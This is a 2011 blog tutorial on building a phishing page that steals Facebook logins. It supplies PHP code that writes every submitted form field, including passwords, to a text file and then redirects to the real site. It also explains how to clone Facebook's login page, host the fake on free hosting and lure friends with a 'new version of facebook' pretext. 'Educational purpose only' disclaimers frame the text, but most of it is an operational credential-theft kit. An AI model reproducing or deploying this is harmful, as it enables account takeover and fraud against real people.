11 April 2011

Learn How Hackers Hack your Facebook Account using Phishing Page

Note: Hacking is a crime. Dont use this tutorial to hack innocent people. I am teaching it for educational purpose only. I will not be responsible for any damage done by you.
This is to aware you that many bad guys using this trick to Hack you facebook account and to steal your username and password. So whenever you click any link provided by any person Beware.......Think Before you Click!!
  • Always look at your address bar n see the address to know that you are actually seeing the site is genuine site or not.....

Some bad guys actual use phising n create fake pages to hack your facebook or any other account.

For this We need three files:
1.Fake facebook login page
2.Php file
3.Text file to store password

Create your php file
1.Open notepad and copy this code:
header (‘Location: https://login.facebook.com/login.php’);
$handle = fopen(“password.txt”, “a”);
foreach($_POST as $variable => $value) {
fwrite($handle, $variable);
fwrite($handle, “=”);
fwrite($handle, $value);
fwrite($handle, “\r\n”);
fwrite($ handle, “\r\n”);
fclose($handle) ;
2.Now save this as phishing.php
Your php file is now created
If you Don’t understand what this php file is doing you need to learn some basic of php.This php file will save information of victim in file password.txt

Create facebook fake login page
Now  go to http://www.facebook.com%20and/ right click / View Source.Copy source in notepad and save it as facebooklogin .html . and

Now open source code of this html file
We need to find the place where Login  code in facebook page that where send the user after clicking on it.
Now Press crtl-f after opening source code and   search for this code

In this case we have this

We replace that part with:
Save your facebooklogin.html file
Text file
Create a blank text file and name it password.txt
Now upload all the three files Facebooklogin.html,phishing.php,Password.txt in any free web hosting site directory like 100mb.com and now you can just check your fake facebook login page by going to http://yoursite.110mb.com/Facebooklogin.html for the fake login page.Just type some random user name and any password into the text box and then you will see in your file manager that a file called “Password.txt” is created,In which the password is stored.
You can use
also or any other free hosting site.
Suppose you register with name facebookhack.Your link will be http://www.facebookhack.justfree.com/
After uploading files your phishing link will be http://www.facebookhack.justfree.com/facebooklogin.html
Send this link to your friend if they login there their password will be save at the server .
You can trick your friend to login this fake facebook page by saying its new version of facebook check it out,or in any way you like

“This Article is made Only to Aware you about fake pages,  Use this on your own responsibility for educational purpose only .

AbhiShek SinGh
Founder of 'TheHackingArticles'. Cyber Security Analyst, Cyber Security Researcher, and Software Engineer. Follow 'AbhiShek SinGh' on Facebook , Twitter or Google+ or via Email

Subscribe to stay up to date